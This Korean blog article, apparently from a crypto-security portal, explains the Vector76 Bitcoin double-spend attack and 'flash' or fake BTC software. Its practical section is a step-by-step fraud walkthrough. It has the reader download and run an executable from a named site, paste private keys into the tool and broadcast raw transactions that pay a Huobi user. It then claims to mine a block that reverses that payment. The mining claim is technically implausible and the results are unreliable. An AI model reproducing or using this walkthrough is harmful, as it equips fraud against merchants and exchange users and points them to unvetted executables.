
암호화폐 기술의 발전과 비트코인의 인기 증가로 플래시 비트코인 소프트웨어 와 가짜 BTC 소프트웨어 와 같은 다양한 소프트웨어가 시장에 등장했습니다. 이러한 프로그램은 비트코인 생태계에 치명적인 결과를 초래할 수 있습니다. 이 글에서는 이러한 소프트웨어가 무엇이고, 어떻게 작동하며, 실제 데이터를 사용하여 비트코인 암호화폐 에 어떤 영향을 미치는지 살펴보고 , 이러한 다양한 소프트웨어가 Vector76 공격 메커니즘을 어떻게 사용하는지 살펴보겠습니다. Vector76 공격 메커니즘은 공격자가 동일한 거래를 두 번 시도하는 이중 지출 공격 의 일종입니다 . 기존의 이중 지출 공격과 달리 Vector76은 거래 확인 메커니즘의 취약성과 비트코인 네트워크에서 블록이 전파되는 시간 지연을 악용합니다.
Vector76 공격에서 공격자는 먼저 두 개의 거래를 생성합니다. 하나는 비트코인 주소로 자금을 보내는 것이고 다른 하나는 상인의 비트코인 주소로 같은 자금을 보내는 것입니다. 그런 다음 상인이 확인되지 않은 거래를 수락하도록 설득하는 동시에 다른 거래를 네트워크에 브로드캐스트합니다. 상인이 확인을 받기 전에 공격자가 거래를 완료하는 데 성공하면 자금은 상인의 주소가 아닌 공격자의 주소로 전송됩니다.
소프트웨어
소프트웨어를 사용하면 공격자가 로컬 네트워크에서 거래가 확인되고 전체 비트코인 네트워크로 전파되는 시간 사이의 시간을 쉽게 조정할 수 있습니다. 공격자는 두 개의 거래를 만듭니다. 하나는 로컬 네트워크로 전송되고 다른 하나는 메인 네트워크로 전송됩니다. 공격자가 두 번째 거래가 확인되기 전에 첫 번째 거래를 보내는 데 성공하면 수신자를 속여 첫 번째 거래가 진짜라고 믿게 할 수 있습니다. 타임슬로팅을 사용하여 비트코인 거래를 성공적으로 확인하는 가장 잘 알려진 소프트웨어 중 일부를 살펴보겠습니다.
플래시 비트코인 소프트웨어
플래시 비트코인 소프트웨어는 사용자가 비트코인 지갑 잔액을 일시적으로 늘릴 수 있는 소프트웨어입니다. 이는 합법적인 것처럼 보이지만 실제로는 블록체인에서 확인되지 않은 거래를 생성하여 수행됩니다. 이러한 거래는 비트코인을 허용하는 사용자와 서비스를 속이는 데 사용될 수 있습니다.
가짜 BTC 소프트웨어
가짜 BTC 소프트웨어는 가짜 비트코인 거래를 생성하도록 설계되었습니다. 이러한 거래는 자금 이체처럼 보이지만 실제로는 자금이 이체되지 않으므로 사기에 사용될 수 있습니다. 이 소프트웨어는 암호화폐 거래에서 판매자와 구매자를 속이는 데 사용될 수 있습니다.
Dockeyhunt Vector76 공격
Dockeyhunt Vector76 공격은 동일한 비트코인을 사용하여 이중 지출 시나리오에 대한 브로드캐스트 비트코인 거래를 통해 확인을 목적으로 두 개 이상의 원시 거래를 생성하도록 설계되었습니다. 공격의 본질은 공격자가 동일한 거래를 네트워크의 두 개의 다른 부분으로 보내 비트코인 블록체인에 일시적인 불일치를 만드는 것입니다. 이 소프트웨어는 또한 다양한 토큰과 다양한 잘 알려진 암호화폐(비트코인, 이더리움 등)가 허용되는 암호화폐 거래 및 운영에서 판매자와 구매자를 속이는 데 사용될 수 있습니다.
CGMiner 및 BFGMiner
CGMiner 와 BFGMiner는 채굴을 위해 설계된 소프트웨어로, 채굴자가 블록 채굴 프로세스를 제어할 수 있으므로 이기적 채굴 공격을 구현하는 데 사용할 수 있습니다.
와이어샤크
Wireshark 는 네트워크 분석 소프트웨어로, 네트워크 트래픽을 분석하고 Sybil Attack 과 Eclipse Attack을 구현하는 데 사용할 수 있습니다 . 사기꾼은 Bitcoin Core 클라이언트의 수정된 버전을 사용하여 합의 메커니즘에 대한 다양한 공격을 수행할 수 있습니다.
블록사이언스
BlockSci – 이 소프트웨어를 사용하면 블록체인을 분석하고 거래 분석과 Dusting Attack (DUST ATTACK) 을 수행하는 데 사용할 수 있습니다 .
비트코인 네트워크에 대한 공격의 영향
Vector76 공격은 2011년에 처음 설명되었으며 Finney 와 Race 공격 의 조합입니다 . 이 공격은 비트코인 네트워크 거래 확인 프로세스의 취약점을 악용합니다. 기본 아이디어는 두 개의 상충되는 거래를 생성하여 네트워크의 다른 노드를 통해 실행하여 공격자가 수신자를 속여 이중 지출을 하도록 하는 것입니다.
레이스 공격 에서 공격자는 두 가지 거래를 동시에 시도하고, 그 중 하나를 되돌리려고 시도합니다.
피니 공격은 공격자 가 거래가 포함된 블록을 사전에 채굴한 다음 동일한 코인으로 다른 거래를 시도하는 것입니다.
Vector76 공격 에서 공격자는 두 공격의 요소를 모두 사용해 이중 지출 공격을 생성합니다.
Vector76 공격은 비트코인 네트워크에 심각한 결과를 초래할 수 있습니다. 사용자가 이중 지출로 인해 자금을 잃을 수 있으므로 시스템에 대한 신뢰가 훼손됩니다. 또한 이 공격은 거래 확인에 지연을 초래하고 네트워크 혼잡을 증가시킬 수 있습니다.
공격 단계:
- 두 개의 거래를 만듭니다. 공격자는 같은 금액이지만 수신자가 다른 두 개의 거래를 만듭니다. 한 거래는 네트워크로 전송되고 다른 거래는 비트코인 네트워크의 고립된 부분에 보관됩니다.
- 첫 번째 거래 전송: 첫 번째 거래는 로컬 네트워크로 전송되어 빠르게 확인됩니다.
- 두 번째 거래 전송: 두 번째 거래는 비트코인 메인 네트워크로 전송됩니다.
- 첫 번째 거래 확인: 첫 번째 거래의 수신자는 그것이 진짜라고 믿고 제품이나 서비스를 제공합니다.
- 두 번째 거래 확인: 두 번째 거래가 메인 네트워크에서 확인되고 첫 번째 거래는 무효화됩니다.
- 갈등 및 이중 지출 : 결과적으로 갈등이 발생하고 거래 중 하나가 블록체인에 포함되어 이중 지출이 발생할 수 있습니다.
- 네트워크 병합 : 네트워크의 분리된 부분이 메인 네트워크와 병합되면 충돌이 발생하고 거래 중 하나가 취소됩니다.
Vector76 공격 탐지 및 예방 메커니즘:
비트코인 네트워크를 Vector76 공격으로부터 보호하기 위해 공격을 탐지하고 예방하기 위한 다양한 메커니즘이 사용되고, 의심스러운 거래를 탐지하기 위한 효과적인 알고리즘과 시스템이 구현되어야 합니다. 몇 가지 접근 방식을 고려해 보겠습니다 .
- 블록 및 거래 분석: 채굴 소프트웨어와 네트워크 노드는 블록과 거래를 분석하여 충돌과 이상을 파악합니다.
- 확인 횟수를 늘리세요: 거래를 최종적으로 확인된 것으로 간주하기 전에 더 많은 수의 확인(예: 6회 이상)을 기다리는 것이 좋습니다. 거래가 확인될 때까지 기다리는 시간을 늘리면 공격이 성공할 가능성이 줄어듭니다.
- 머신 러닝 알고리즘 사용 : 최신 머신 러닝 기술을 사용하면 거래 및 블록에서 의심스러운 패턴을 감지할 수 있습니다.
- 네트워크 모니터링 : 전문 소프트웨어를 사용하여 의심스러운 거래 및 동작을 네트워크에서 모니터링합니다 .
- 다중 레벨 확인: 다중 레벨의 거래 확인을 사용하면 보안을 강화할 수 있습니다.
- 이상 분석: 의심스러운 거래와 블록체인을 식별하기 위한 이상 분석 시스템 구현.
- 프로토콜 업데이트 : 보안 프로토콜을 정기적으로 업데이트하고 새로운 보안 방법을 구현하면 네트워크의 공격 회복력을 향상시킬 수 있습니다.
- 합의 메커니즘 강화 : 거래에 대한 추가적인 검사 및 확인을 구현하여 공격을 실행하기 어렵게 만듭니다.
Vector76 공격을 수행하기 위한 대체 블록 배포:
- 두 개의 상충되는 거래 생성: 공격자는 동일한 입력을 사용하지만 수신자가 다른 두 개의 거래를 생성합니다.
- 첫 번째 거래 전파: 첫 번째 거래는 네트워크로 전송되어 채굴자들이 확인을 시작하는 블록에 포함됩니다.
- 대체 블록 생성: 공격자는 자신의 채굴 소프트웨어를 사용하여 두 번째 거래가 포함된 대체 블록을 생성합니다.
- 대체 블록의 전파: 첫 번째 거래가 이미 여러 번의 확인을 받았을 때, 공격자는 네트워크에서 더 많은 확인이 포함되어 있을 경우 승인될 수 있는 대체 블록을 전파합니다.
Vector76 공격의 구조:
- 설정 : 공격자는 두 개의 거래를 생성합니다. 하나는 피해자 (T1)를 위한 것이고 다른 하나는 자신 (T2) 을 위한 것입니다 .
- 블록 채굴 : 공격자는 T2를 포함하는 블록을 채굴 하지만 이를 게시하지는 않습니다.
- T1 실행 : 공격자가 T1을 네트워크로 보내고 피해자는 한 번의 확인 후 이를 수락합니다.
- 블록 게시 : 공격자는 T2 로 블록을 게시하여 T1을 취소합니다 .

실제적인 부분
Dockeyhunt Vector76 Attack 소프트웨어를 사용하여 이 공격의 예를 살펴보겠습니다 .
공식 웹사이트에서 소프트웨어를 다운로드하세요: www.dockeyhunt.com

필요한 모든 패키지와 라이브러리를 설치하고 setup.exe 파일을 실행합니다.


성공적인 공격을 수행하려면 두 번째 거래( 자신을 위한 T2 )를 만드는 것이 매우 중요합니다. 이를 위해 모든 BTC 코인을 콜드 월렛에 보관하기 위해 보낼 비트코인 월렛을 미리 준비해야 합니다 . 폴더를 열고 Cold Bitcoin Wallet.exe를 실행하여 새 비트코인 주소를 생성합니다 .

주소 생성을 클릭하세요

콜드 월렛에 추가로 저장하기 위한 새로운 비트코인 주소 세부 정보입니다.
Cold Bitcoin Wallet:
Private Key HEX: 7b774f968a0eff26bb645fa91830a17a749e685ca4fab58b98bc03fd6a48405c
Private Key WIF: 5JkfMchWKeVh5nUmbTHPhFTpMPmWjn5a9JtrR8iBQqPCCmonapz
Private Key WIF compressed: L1MiHzZnRJVdv7jZq51MAeqN11VUFoyBHfys7X2kxCYxSxT9GWRx
Public Key: 04addd5a1ced91a6364c486cbc95cde195108657d1eabb86bf97e5dfa3f099b2ba2b7c42c09f8d7d12c6f68a4d1750ac6abbf1379802b9501d9cc1c51b6dcbc87d
Public Key compressed: 03addd5a1ced91a6364c486cbc95cde195108657d1eabb86bf97e5dfa3f099b2ba
Public Address 1: 1KivXGdoDVPZCZLHpAe8rCztEirdrWuR4Y
Public Address 1 compressed: 1qqQcZbZNvsZoF5x3VcnEcJbzPeXncfKq
Public Address 3: 36QRQhDUdaufqTJYfgV76CTor6Nix8Zvz3
Public Address bc1 P2WPKH: bc1qpy79lkrlls0jhva93llvq6tkchrkp5zfgq5ned
Public Address bc1 P2WSH: bc1q3j88twpmde2rwz5tnecdezxsxtxje0cswfjkcfcckq3mx4d3hm2stuw0ss
이제 우리는 수신자와 연결을 설정합니다. 우리의 경우 가상 수신자는 Huobi 암호화폐 거래소 사용자입니다.

비트코인 가상 수신자 주소:


원시 트랜잭션 T1(피해자) 생성
가짜 수신자 (피해자) 는 Huobi 암호화폐 거래소 사용자 이며 발신자 (공격자) 에게 다음 금액을 기대합니다: 1.17506256 BTC
( 비트코인 암호화폐로)
보내는 사람의 비트코인 지갑 금액: 1.17521256 BTC

https://btc1.trezor.io/address/1888dvSYUx23z2N 이제 Python 스크립트 pushtx.py 를 사용해 Bitcoin Transaction RawTX F79NyCaYQ8dxcWCjHDz를 보내 보겠습니다.
Google Colab 에서 새 노트북을 열어 보겠습니다 : https://colab.research.google.com
Broadcast-Bitcoin-Transaction 저장소를 복제합니다.
!git clone https://github.com/smartibase/Broadcast-Bitcoin-Transaction.git
cd Broadcast-Bitcoin-Transaction/
ls

Python 스크립트 bitcoin_info.py 를 실행합니다 (비트코인 발신자 주소를 확인하기 위해)
!python3 bitcoin_info.py
1888dvSYUx23z2NF79NyCaYQ8dxcWCjHDz

원시 거래 T1을 생성하려면 비트코인 주소: 1888dvSYUx23z2NF79NyCaYQ8dxcWCjHDz UTXO ( 사용되지 않은 거래 출력 )에서 보낸 사람 지갑의 사용되지 않은 거래 출력인 마지막 TXID를 복사해야 합니다 .

루트 디렉토리로 돌아가서 Dockeyhunt Vector76 Attack 소프트웨어를

옵션:
거래를 생성할 때 ECDSA 알고리즘 으로 디지털 서명을 해야 하며 , 비트코인 지갑 발신자의 개인 키를 필드에 입력해야 합니다: 1888dvSYUx23z2NF79NyCaYQ8dxcWCjHDz ( 확인을 위해 비트 주소를 사용할 수 있음 )
Private Key: KwoqiXXrWkurxSazHJtmxKstB7g4HX247q7JoKcFDtHpFujKNSiD
TXID: 3141bd1a32ac5e5b1a0de837faceccbc78f80f277c060855eab23be0fbe6e861 을 복사 하여 필드에 붙여넣습니다. 이는 모든 거래 입력이 유효하기 때문에 모든 비트코인 네트워크 노드에 대한 거래가 완전히 검증되었는지 확인하는 데 필요합니다 (이는 성공적인 Vector76 공격에 매우 중요하고 필요하여 발신자의 BTC 코인이 미리 사용되지 않도록 보장하는 데 필요함) . UTXO는 각 거래 출력을 한 번만 사용할 수 있으므로 보다 효율적인 거래 처리를 가능하게 합니다 (이는 비트코인 네트워크 상태 관리를 간소화하고 원시 거래 검증의 복잡성을 줄임) .
Prev TXID: 3141bd1a32ac5e5b1a0de837faceccbc78f80f277c060855eab23be0fbe6e861
Huobi 암호화폐 거래소 의 가상 수신자의 비트코인 주소 인 143gLvWYUojXaWZRrxquRKpVNTkhmr415B를 복사 하여 필드에 붙여넣으세요.
Send Address: 143gLvWYUojXaWZRrxquRKpVNTkhmr415B
비트코인 코인의 총 금액을 복사하여 필드에 붙여넣습니다 (이 발신자의 경우 금액은 1.17521256 BTC 이며 금액은 사토시로 지정해야 합니다: 117521256 )
Total Received: 1.17521256 BTC (117521256 sat/vByte)
우리만의 금액을 15000 sat/vByte 의 양으로 지정해 보겠습니다. 이 금액은 채굴자가 거래를 처리하는 과정에 대한 수수료입니다. 비트코인에서 거래를 보낼 때, 우리는 블록체인에 생성한 Raw 거래를 포함하는 것에 대해 채굴자에게 수수료를 지불합니다 (이 수수료는 채굴자가 거래를 처리하고 확인하도록 자극합니다).
Fee: 0.00015000 BTC (15000 sat/vByte)
우리의 경우 총 117521256 sat/vByte 에서 추출할 때 BTC 코인을 보낼 금액을 지정하고 수수료 크기를 15000 sat/vByte 로 지정하면 보낼 금액은 Satoshi : 117506256이 됩니다.
Sent: 1.17506256 BTC (117506256 sat/vByte)
모든 옵션을 추가한 후 거래 생성을 클릭하세요.

결과:
Your Bitcoin Address: 1888dvSYUx23z2NF79NyCaYQ8dxcWCjHDz
Bitcoin Address for sending BTC: 143gLvWYUojXaWZRrxquRKpVNTkhmr415B
Bitcoin Transaction RawTX:
010000000161e8e6fbe03bb2ea5508067c270ff878bccccefa37e80d1a5b5eac321abd4131000000006b483045022100dff55be52be07900dd4d2d04473c93249ca78e37955e466437c26f06322f01bc02205ed04a2a4201e8c2b3035de7edfa972e1f7da57dbcca3eaa4fbd4db4cd8ad507012102650afad13f8fb85925ba6765dc5416bad623cdfce3f104191964253a12ed0cddffffffff01d0000107000000001976a914216a0d339ab6ddc696b1b239b9b65810c0bf73d588ac00000000
이제 Python 스크립트 pushtx.py 를 사용하여 Bitcoin Transaction RawTX를 보내 보겠습니다 .
!python3 pushtx.py
010000000161e8e6fbe03bb2ea5508067c270ff878bccccefa37e80d1a5b5eac321abd4131000000006b483045022100dff55be52be07900dd4d2d04473c93249ca78e37955e466437c26f06322f01bc02205ed04a2a4201e8c2b3035de7edfa972e1f7da57dbcca3eaa4fbd4db4cd8ad507012102650afad13f8fb85925ba6765dc5416bad623cdfce3f104191964253a12ed0cddffffffff01d0000107000000001976a914216a0d339ab6ddc696b1b239b9b65810c0bf73d588ac00000000

결과:
Enter your raw transaction: 010000000161e8e6fbe03bb2ea5508067c270ff878bccccefa37e80d1a5b5eac321abd4131000000006b483045022100dff55be52be07900dd4d2d04473c93249ca78e37955e466437c26f06322f01bc02205ed04a2a4201e8c2b3035de7edfa972e1f7da57dbcca3eaa4fbd4db4cd8ad507012102650afad13f8fb85925ba6765dc5416bad623cdfce3f104191964253a12ed0cddffffffff01d0000107000000001976a914216a0d339ab6ddc696b1b239b9b65810c0bf73d588ac00000000
TX: e129cd4257b2c9f5061dfb80d8b7a59e62cbaf3cdfba8d3fde2953759e63bcf0
Transaction successfully broadcasted!
Broadcasting Transactions into the Bitcoin Network: https://broad-casts.ru/bitcoin-network
Huobi 암호화폐 거래소 의 가짜 수신자 사용자는 Bitcoin TX 네트워크 에서 지불을 확인합니다 : e129cd4257b2c9f5061dfb80d8b7a59e62cbaf3cdfba8d3fde2953759e63bcf0
이제 공격자는 두 번째 단계로 넘어가서 T2 거래 (자신을 위한 거래) 를 생성하여 비트코인 네트워크에서 보낸 1.17506256 BTC(117506256 sat/vByte) 의 모든 코인을 자신의 콜드 월렛 잔액으로 가져옵니다.

원시 트랜잭션 T2를 생성합니다(자신을 위해)
이전에 우리는 콜드 비트코인 지갑을 생성했습니다. 이는 특별히 두 번째 거래( 우리 자신을 위한 T2 )를 생성하기 위해 사전에 수행한 것으로, 비트코인 지갑을 준비하기 위한 것입니다: 1qqQcZbZNvsZoF5x3VcnEcJbzPeXncfKq 여기서 우리는 비트코인 네트워크에서 모든 코인을 1.17506256 BTC(117506256 sat/vByte) 만큼 전송하여 콜드 지갑에 추가로 저장합니다.

새로운 콜드 지갑의 비트코인 주소를 복사하세요:
Cold Bitcoin Wallet:
Public Address 1 compressed: 1qqQcZbZNvsZoF5x3VcnEcJbzPeXncfKq
Dockeyhunt Vector76 Attack 소프트웨어를 다시 시작해 보겠습니다 .

새로운 데이터로 새로운 옵션을 추가해 보겠습니다.
옵션:
그럼에도 불구하고 거래를 생성하려면 ECDSA 알고리즘으로 디지털 서명을 하고, 비트코인 지갑 발신자의 개인 키를 필드에 입력해야 합니다: 1888dvSYUx23z2NF79NyCaYQ8dxcWCjHDz ( 확인을 위해 비트 주소를 사용할 수 있음 )
Private Key: KwoqiXXrWkurxSazHJtmxKstB7g4HX247q7JoKcFDtHpFujKNSiD
TXID: 3141bd1a32ac5e5b1a0de837faceccbc78f80f277c060855eab23be0fbe6e861 을 복사 하여 필드에 붙여넣습니다. 이는 모든 거래 입력이 유효하기 때문에 모든 비트코인 네트워크 노드에 대한 거래가 완전히 검증되었는지 확인하는 데 필요합니다 (이는 성공적인 Vector76 공격에 매우 중요하고 필요하여 발신자의 BTC 코인이 미리 사용되지 않도록 보장하는 데 필요함) . UTXO는 각 거래 출력을 한 번만 사용할 수 있으므로 보다 효율적인 거래 처리를 가능하게 합니다 (이는 비트코인 네트워크 상태 관리를 간소화하고 원시 거래 검증의 복잡성을 줄임) .
Prev TXID: 3141bd1a32ac5e5b1a0de837faceccbc78f80f277c060855eab23be0fbe6e861
모든 BTC 코인을 전송할 새로운 콜드 지갑의 새로운 비트코인 주소인 1qqQcZbZNvsZoF5x3VcnEcJbzPeXncfKq를 복사 하여 필드에 붙여넣습니다.
Send Address: 1qqQcZbZNvsZoF5x3VcnEcJbzPeXncfKq
비트코인 코인의 총 금액을 복사하여 필드에 붙여넣습니다 (이 발신자의 경우 금액은 1.17521256 BTC 이며 금액은 사토시로 지정해야 합니다: 117521256 )
Total Received: 1.17521256 BTC (117521256 sat/vByte)
우리만의 금액을 15000 sat/vByte 의 양으로 지정해 보겠습니다. 이 금액은 채굴자가 거래를 처리하는 과정에 대한 수수료입니다. 비트코인에서 거래를 보낼 때, 우리는 블록체인에 생성한 Raw 거래를 포함하는 것에 대해 채굴자에게 수수료를 지불합니다 (이 수수료는 채굴자가 거래를 처리하고 확인하도록 자극합니다).
Fee: 0.00015000 BTC (15000 sat/vByte)
우리의 경우 총 117521256 sat/vByte 에서 추출할 때 BTC 코인을 보낼 금액을 지정하고 수수료 크기를 15000 sat/vByte 로 지정하면 보낼 금액은 Satoshi : 117506256이 됩니다.
Sent: 1.17506256 BTC (117506256 sat/vByte)
모든 옵션을 추가한 후 거래 생성을 클릭하세요.

결과:
Your Bitcoin Address: 1888dvSYUx23z2NF79NyCaYQ8dxcWCjHDz
Bitcoin Address for sending BTC: 1qqQcZbZNvsZoF5x3VcnEcJbzPeXncfKq
Bitcoin Transaction RawTX:
010000000161e8e6fbe03bb2ea5508067c270ff878bccccefa37e80d1a5b5eac321abd4131000000006a473044022027033ea1c9df979fe39b016ee9ef446fab3e87dd4514623ad8a655e8eab31f0002201b58688b9949a8b9b05cb74b3bd829f6c134c5bef132e9df0eafeea9585abc45012102650afad13f8fb85925ba6765dc5416bad623cdfce3f104191964253a12ed0cddfdffffff01d0000107000000001976a914093c5fd87ffc1f2bb3a58ffec06976c5c760d04988ac00000000
이제 Python 스크립트 pushtx.py 를 사용하여 Bitcoin Transaction RawTX를 보내 보겠습니다 .
!python3 pushtx.py

결과:
Enter your raw transaction: 010000000161e8e6fbe03bb2ea5508067c270ff878bccccefa37e80d1a5b5eac321abd4131000000006a473044022027033ea1c9df979fe39b016ee9ef446fab3e87dd4514623ad8a655e8eab31f0002201b58688b9949a8b9b05cb74b3bd829f6c134c5bef132e9df0eafeea9585abc45012102650afad13f8fb85925ba6765dc5416bad623cdfce3f104191964253a12ed0cddfdffffff01d0000107000000001976a914093c5fd87ffc1f2bb3a58ffec06976c5c760d04988ac00000000
TX: d7b2f7279687abd3abf0367ac31223359dc8b53b32b7adbdfc2d0ada2a8015bc
Transaction successfully broadcasted!
Broadcasting Transactions into the Bitcoin Network: https://broad-casts.ru/bitcoin-network
이제 우리는 TX: d7b2f7279687abd3abf0367ac31223359dc8b53b32b7adbdfc2d0ada2a8015bc 를 받았습니다 . 이제 남은 일은 블록을 채굴하고 T2 거래 (우리 자신을 위한) 를 포함하는 메인 블록체인에 블록을 게시하는 것입니다 .

비트코인 네트워크 메인 체인에 블록을 채굴하고 게시합니다.
루트 디렉토리로 돌아가서 폴더를 열고 Block Bitcoin Mining 소프트웨어를 실행해 보겠습니다.


빈 필드에 옵션을 추가하려면 채굴 블록을 구성하기 위해 특정 값에 대한 입력 데이터를 가져와야 합니다. 이를 위해 Python 스크립트 block_header.py 를 실행하고 이전에 Raw 트랜잭션 Prev TXID를 생성할 때 Prev TXID 옵션 해시에 추가했던 UTXO 값을 입력합니다 . Prev TXID: 3141bd1a32ac5e5b1a0de837faceccbc78f80f277c060855eab23be0fbe6e861
UTXO는 각 거래 출력을 한 번만 사용할 수 있으므로 보다 효율적인 거래 처리가 가능합니다 (이를 통해 비트코인 네트워크 상태 관리가 간소화되고 원시 거래 검증의 복잡성이 줄어듭니다) .
!python3 block_header.py
3141bd1a32ac5e5b1a0de837faceccbc78f80f277c060855eab23be0fbe6e861

받은 데이터를 복사해 보겠습니다.
Enter TXID: 3141bd1a32ac5e5b1a0de837faceccbc78f80f277c060855eab23be0fbe6e861
Block Header:
Block: 00000000000000000003e5557c14e955f2c88465bb8c02a4d694a3657a40d79e
Block Height: 808875
Mined Time: 2023-09-22T17:29:25Z
Prev Block: 000000000000000000048e0643366b7c0129d2dd8d2cf758ca6273ed81c765d8
Merkle Root: c1fc30413e984cdd90dc1ac91a69add6c138af950e1c6388cb20759494073d2c
Nonce: 1098256692
Bits: 386198911
Version: 536903680
T2 거래 에 RawTX를 추가해 보자 (우리 자신을 위해)
Bitcoin Transaction RawTX:
010000000161e8e6fbe03bb2ea5508067c270ff878bccccefa37e80d1a5b5eac321abd4131000000006a473044022027033ea1c9df979fe39b016ee9ef446fab3e87dd4514623ad8a655e8eab31f0002201b58688b9949a8b9b05cb74b3bd829f6c134c5bef132e9df0eafeea9585abc45012102650afad13f8fb85925ba6765dc5416bad623cdfce3f104191964253a12ed0cddfdffffff01d0000107000000001976a914093c5fd87ffc1f2bb3a58ffec06976c5c760d04988ac00000000

T2 거래 (자신을 위한) 에 대한 블록이 Block Bitcoin Mining 소프트웨어를 사용하여 채굴 되면 JSON 형식 의 파일을 받게 됩니다.

일반 블록체인 체인에서 확인을 위해 채굴한 블록은 다음 파일에 있습니다: block_hash_mining.json
Notepad++를 사용하여 block_hash_mining.json 파일을 열어 보겠습니다.

875번째 줄에서 우리는 새로운 블록을 볼 수 있습니다.
block_hash: 00000000000000000004401ea0694af9c89564d76bc5462577e312eea5d23fa2
Google Colab 으로 돌아가서 Python 스크립트 를 실행하고 T2 트랜잭션 의 TXID를 입력해 보겠습니다 (우리 자신을 위해).

모든 것이 정확합니다!!!
블록은 거래 T2 의 진위성을 (자기 자신에게) 확인합니다 .
블록체인의 링크 도 확인해 보겠습니다 .

광부들이 지불을 확인했습니다

거래 T1(피해자)이 취소됩니다.
Huobi 암호화폐 거래소 사용자 가상 수신자 지불이 Bitcoin TX 네트워크에서 자동으로 취소됨: e129cd4257b2c9f5061dfb80d8b7a59e62cbaf3cdfba8d3fde2953759e63bcf0

일반 블록체인에 없기 때문에 거래를 찾을 수 없습니다.
결론:
이러한 모든 소프트웨어와 도구는 사기성 계획을 만드는 데 도움이 되며, 이는 사용자 사이에서 BTC 및 ETH 코인 의 피해자 수와 손실이 증가할 수 있습니다 . 이는 차례로 암호화폐와 암호화폐 커뮤니티 전체에 대한 부정적인 태도를 유발할 수 있습니다.
사업에 대한 피해: 비트코인을 수용하는 많은 회사와 서비스는 가짜 거래 사용으로 인해 상당한 손실을 입을 수 있습니다. 이는 비트코인을 지불 수단으로 수용하지 않는 것으로 이어질 수 있으며, 이는 비트코인의 채택에도 부정적인 영향을 미칠 것입니다.
규제의 복잡성 증가: 이러한 소프트웨어를 사용하면 사기와 자금 세탁을 퇴치하려는 규제 기관과 법 집행 기관의 업무가 복잡해집니다. 이로 인해 암호화폐 사용에 대한 규제와 제한이 더욱 엄격해질 수 있습니다.
개선된 보안의 필요성 : 끊임없는 위협으로 인해 개발자와 사용자는 새로운 보안 조치를 구현하고 기존 보호 메커니즘을 개선해야 합니다. 비트코인 개발자 커뮤니티는 사기 거래를 방지하기 위한 조치를 취할 수 있습니다. 여기에는 거래 확인 알고리즘을 개선하고 새로운 보안 프로토콜을 도입하는 것이 포함될 수 있습니다. 그러나 이러한 조치에는 상당한 리소스와 시간이 필요할 수 있습니다.
참고문헌:
- [1] 비트코인의 보안 모델 재검토 (Yonatan Sompolinsky 및 Aviv Zohar, 예루살렘 히브리 대학교 공학 및 컴퓨터 과학부, 이스라엘 Microsoft Research, Herzliya, 이스라엘 )
- [2] 블록체인의 보안 위협 분류 (Jamal Hayat Mosakheil St. Cloud State University )
- [3] 균형 공격 또는 포크 가능한 블록체인이 컨소시엄에 적합하지 않은 이유 (Christopher Natoli Vincent Gramoli School of IT University of Sydney, Australia )
- [4] 블록체인 취약점 및 최근 보안 과제: 리뷰 논문 (Aysha AlFaw, Wael Elmedany, Mhd Saeed Sharif, 바레인 사키르 대학교 정보기술대학, 바레인)
- [5] 암호화폐의 취약성은 얼마나 될까? 마리오 아르투로 루이스 에스트라다 경제 가상 연구소(EVL)
- [6] 비트코인의 보안 공격 및 과제에 대한 조사 (Viji Priya .G, Krishna Priya .G, Vivek .M 및 Ashwini .R, Jansons Institute of Technology, Coimbatore, Tamilnadu, India, 컴퓨터 과학 및 공학과)
- [7] JARGON ® 암호화폐 및 블록체인 기술에 대한 BOOK Latham & Watkins 용어집 약어, 속어 및 용어
- [8] 블록체인 이상 현상 (Christopher Natoli Vincent Gramoli NICTA/Data61-CSIRO University of Sydney)
- [9] 블록체인 시스템에서의 Sybil 및 이중 지출 위험 탐구 (MUBASHAR IQBAL 및 RAIMUNDAS MATULEVIČIUS, 타르투 대학교 컴퓨터 과학 연구소, 에스토니아 타르투 51009)
- [10] 블록체인 기술에 대한 공격에 대한 검토 (문헌 기사/리뷰 기사 Oğuzhan TAŞ, Farzad KİANI 컴퓨터 공학, 이스탄불 Sabahattin Zaim University, 공학 및 자연 과학부, 이스탄불, 터키)
이 자료는 CRYPTO DEEP TECH 포털을 위해 만들어졌으며, 비트코인 암호화폐의 약한 ECDSA 서명에 대해 타원 곡선 secp256k1에서 금융 데이터 보안 및 암호화를 보장합니다 . 소프트웨어 제작자는 자료 사용에 대해 책임을 지지 않습니다.
텔레그램: https://t.me/cryptodeeptech
영상자료: https://youtu.be/Mk_BPBCXd3I
디젠: https://dzen.ru/video/watch/669558eb4bbd297f7d375e06
출처: https://cryptodeeptech.ru/vector76-attack
